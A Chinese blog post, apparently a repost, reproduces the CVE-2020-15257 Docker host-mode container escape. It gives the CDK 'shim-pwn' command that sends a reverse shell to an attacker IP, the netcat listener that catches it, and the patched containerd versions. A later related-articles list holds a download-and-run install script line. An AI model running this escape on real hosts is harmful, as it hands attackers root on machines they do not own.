docker的逃逸复现(CVE-2020-15257-host模式容器逃逸漏洞)

news2024/11/23 1:09:33
  1. host模式下的docker逃逸的概述

因为docker所使用的是隔离技术,就导致了容器内的进程无法看到外面的进程,但外面的进程可以看到里面,所以如果一个 Docker 容器内部可以操作该容器的外部资源,一般理解为操作宿主机的行为。叫做docker逃逸。

host模式

这种模式下,容器和主机已经没有网络隔离了,它们共享同一个网络命名空间,容器的网络配置和主机完全一样,使用主机的IP地址和端口,可以查看到主机所有网卡信息、网络资源,在网络性能上没有损耗。

但也正是因为没有网络隔离,容器和主机容易产生网络资源冲突、争抢,以及其他的一些问题。本文所述漏洞也是在这种模式下产生的

  1. 漏洞原理

由上图可知containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runc,实现对容器的管理控制。

docker容器以--net=host启动会暴露containerd-shim监听的unix域套接字,unix套接字中有十分多的containerd-shim API,攻击者可以通过操作这些API实现docker逃逸。利用containerd-shim Create API, 相当于执行runc create , 读取config.json 的配置,创建一个新容器。

config.json:包含容器运行的配置数据。

  1. 漏洞的复现

3.1漏洞环境

系统环境:ubuntu

docker版本:18.09

containerd 版本:1.3.7

挂载的ununtu版本:18.04

3.2逃逸复现

containerd在创建containerd-shim之前,会创建一个Unix域套接字,设置的是抽象名字空间路径,抽象Unix域套接字没有权限限制,所以只能靠连接进程的UID、GID做访问控制,限定了只能是root(UID=0,GID=0)用户才能连接成功。

3.2.1安装ubuntu docker 镜像

命令:

docker pull ubuntu:18.04

3.2.2以host模式运行docker

命令:

docker run -ti --rm --network=host 9d581d2d315a   #--rm 退出后直接删除容器

结果:

查看运行的容器

命令:

docker ps -a

3.2.3下载github上的Exp:

下载地址:Release 0.1.6 · cdk-team/CDK · GitHub

解压后我们此实验只需使用cdk_linux_amd64文件,此文件可以将使用有漏洞的docker的主机的权限反射到攻击者的主机上。

3.2.4将cdk_linux_amd64文件拷贝到docker中的Ubuntu系统中

命令:

docker cp cdk_linux_amd64 9d581d2d315a:/

3.2.5执行cdk_linux_amd64文件

注意这里刚拷贝的文件无操作权限需要开放

开放操作权限命令:

chmod +x cdk_linux_amd64

结果:

执行文件:

./cdk_linux_amd64 run shim-pwn 192.168.239.133 1337  #这里反射到的地址为192.168.239.133的1337端口

结果:

3.2.6监听逃逸方端口

使用另一台主机监听逃逸方主机放射信息的端口

命令:

nc -lvvp 1337

结果:

这里可以看到已经成功监听到逃逸方反射的权限。

3.2.7漏洞检测

通过检查IP地址为逃逸方宿主机的IP地址表示逃逸方的主机权限已被成功拿下,docker逃逸成功。

  1. 漏洞修复

在最新发布的containerd1.3.9和1.4.3版本中,抽象Unix域套接字已经改成了普通文件路径的Unix域套接字从而修复了漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/378380.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【组织架构】中国铁路太原局集团有限公司

1 公司简介 中国铁路太原局集团有限公司,是中国国家铁路集团有限公司管理的18个铁路局集团有限公司之一,简称“太局”。成立于2005年3月18日,共有职工11.5万人。 管辖南同蒲铁路、北同蒲铁路、大秦铁路、侯月铁路、石太铁路、侯西&#xff08…

Confluence 安装

Confluence 安装 一、购买一台服务器 推荐使用 Ubuntu 版本服务器。 二、安装宝塔面板 官方安装地址 安装地址 Centos 安装脚本 yum install -y wget && wget -O install.sh https://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484bec…

7个好用到爆的音频、配乐素材网站,BGM都在这里了

现在只要有一部手机,人人都能成为视频创作者。一个好的视频不能缺少的就是内容、配乐,越来越注重版权的当下,音效素材使用不当造成侵权的案例层出不穷。为了避免侵权,找素材让很多创作者很头疼。 今天我就整理了7个可以免费下载&…

一步打通多渠道服务场景 中电金信源启移动开发平台MADP功能“上新”

日前,中电金信源启移动开发平台MADP功能迭代升级,“上新”源启小程序开发平台。定位“为金融业定制”的移动PaaS平台,源启小程序开发平台为银行、互联网金融、保险、证券客户提供一站式小程序的开发、运营、营销全生命周期管理技术支撑&#…

经验 // 通用又好用的思维工具

有很多管理或思维小工具,非常通用,各行各业都用的到,工作用的到,生活也用的到。掌握这些工具,让你在工作上很专业,在生活上很认真。 1-【MECE原则】 MECE法则,是麦肯锡公司的巴巴拉明托&#…

06--WXS 脚本

1、简介WXS(WeiXin Script)是小程序的一套脚本语言,结合 WXML ,可以构建出页面的结构。 注意事项WXS 不依赖于运行时的基础库版本,可以在所有版本的小程序中运行。WXS 与 JavaScript 是不同的语言,有自己的…

Spring与Dubbo整合原理与源码分析

EnableDubbo注解中有两个注解 EnableDubboConfig是用来解析配置文件的 DubboComponentScan是用来扫描Service和Refrence的 1.Dubbo中propertie⽂件解析以及处理原理 我们看到引入了DubboConfigConfigurationRegistrar,一看就知道干嘛了,老套路 我们看下…

【UE4 】制作螺旋桨飞机

一、素材资源链接:https://pan.baidu.com/s/1xPVYYw05WQ6FABq_ZxFifg提取码:ivv8二、课程视频链接https://www.bilibili.com/video/BV1Bb411h7qw/?spm_id_from333.337.search-card.all.click&vd_source36a3e35639c44bb339f59760641390a8三、最终效果…

CVE-2022-42889 Apache Commons Text 漏洞

0x00 前言 所幸遇到,就简单看看,其中没有啥比较难的地方,仅做记录。10月13日的漏洞。 cve链接可以看下面这个: https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2022-42889 git地址: https://github.com/apache…

AcWing蓝桥杯辅导课:第二讲 二分与前缀和

AcWing 789. 数的范围 思路: 二分模板一共有两个,分别适用于不同情况。 算法思路:假设目标值在闭区间[l, r]中, 每次将区间长度缩小一半,当l r时,我们就找到了目标值。 版本1 当我们将区间[l, r]划分成[…

基于蚂蚁优化算法的柔性车间调度研究(Python代码实现)

👨‍🎓个人主页:研学社的博客💥💥💞💞欢迎来到本博客❤️❤️💥💥🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密…

21_FreeRTOS内存管理

目录 FreeRTOS内存管理 FreeRTOS内存管理算法 内存管理相关API函数介绍 实验源码 FreeRTOS内存管理 在使用FreeRTOS创建任务、队列、信号量等对象的时,一般都提供了两种方法: 动态方法创建 自动地从 FreeRTOS 管理的内存堆中申请创建对象所需的内存,并且在对…

AcWing算法提高课-3.1.1热浪

宣传一下算法提高课整理 <— CSDN个人主页&#xff1a;更好的阅读体验 <— 题目传送门点这里 题目描述 德克萨斯纯朴的民众们这个夏天正在遭受巨大的热浪&#xff01;&#xff01;&#xff01; 他们的德克萨斯长角牛吃起来不错&#xff0c;可是它们并不是很擅长生产富…

【博学谷学习记录】超强总结,用心分享丨人工智能 特征工程 特征变换 分箱学习总结

目录概念分箱的作用等频分箱等距分箱*卡方分箱公式例子概念 特征构造的过程中&#xff0c;对特征做分箱处理时必不可少的过程分箱就是将连续变量离散化&#xff0c;合并成较少的状态 分箱的作用 离散特征的增加和减少都很容易&#xff0c;易于模型的快速迭代&#xff1b;稀疏…

IB选课避坑指南,选课不踩雷

众所周知&#xff0c;IBDP课程颇具挑战性&#xff0c;对于学习者的英语写作、意志力、自律性要求都比较严格。 如果你高中阶段想学习IBDP课程&#xff0c;那么在学习之前一定要搞清楚怎么选课再做决定&#xff01;年轻的IB人&#xff0c;你们准备好了吗&#xff1f; 很多同学在…

Java程序设计-JSP程序设计-SSM校园二手交易系统

摘 要 网络的广泛应用给生活带来了十分的便利。所以把二手物品交易管理与现在网络相结合&#xff0c;利用java技术建设二手物品交易系统&#xff0c;实现二手物品交易的信息化。则对于进一步提高二手物品交易管理发展&#xff0c;丰富二手物品交易管理经验能起到不少的促进作用…

明星的孩子也在做的感统训练,真的有用吗?

林志颖曾经在社交网站晒过带他儿子“模拟过山车”的视频。孩子大脑前庭受到适当的刺激&#xff0c;可以有效地锻炼前庭平衡感。 除此之外&#xff0c;还能看见地上的感统教具&#xff1a;过河石、平衡桥&#xff0c;看来明星老爸在陪孩子做感统游戏的日常一点也不含糊。 其实在…

Flutter Scrollable 中ViewPort滚动原理

关于Flutter Sliver组件内容可以参考下面这位博主博客&#xff0c;写的已经非常好了&#xff0c;这里就不再赘述。 38、Flutter之 可滚动组件简介_flutter 可滑动_风雨「83」的博客-CSDN博客 通过阅读上面的博客&#xff0c;我们已经知道了Scrollable和Viewport基础概念&#…

【手把手一起学习】(七) Altium Designer 20常用PCB设计规则

1 常用PCB设计规则 PCB规则设计是PCB设计中至关重要的环节&#xff0c;它约束了电气要求、布线方式、器件摆放位置等&#xff0c;为后续的手动布局、布线提供依据。完善的PCB规则设计&#xff0c;可以减少设计中的错误&#xff0c;提高PCB设计效率。 1.1 PCB设计规则管理器 …

Aspect-Based Sentiment Analysis Model with Bi-Guide Attention Network 论文阅读笔记

一、作者 Xie Jun, Wang Yuzhu, Chen Bo, Zhang Zehua, and Liu Qin College of Information and Computer, Taiyuan University of Technology, Jinzhong, Shanxi 二、背景 在应用于方面情感分析的深度神经网络中&#xff0c;序列型神经网络能捕获句子的上下文语义信息&am…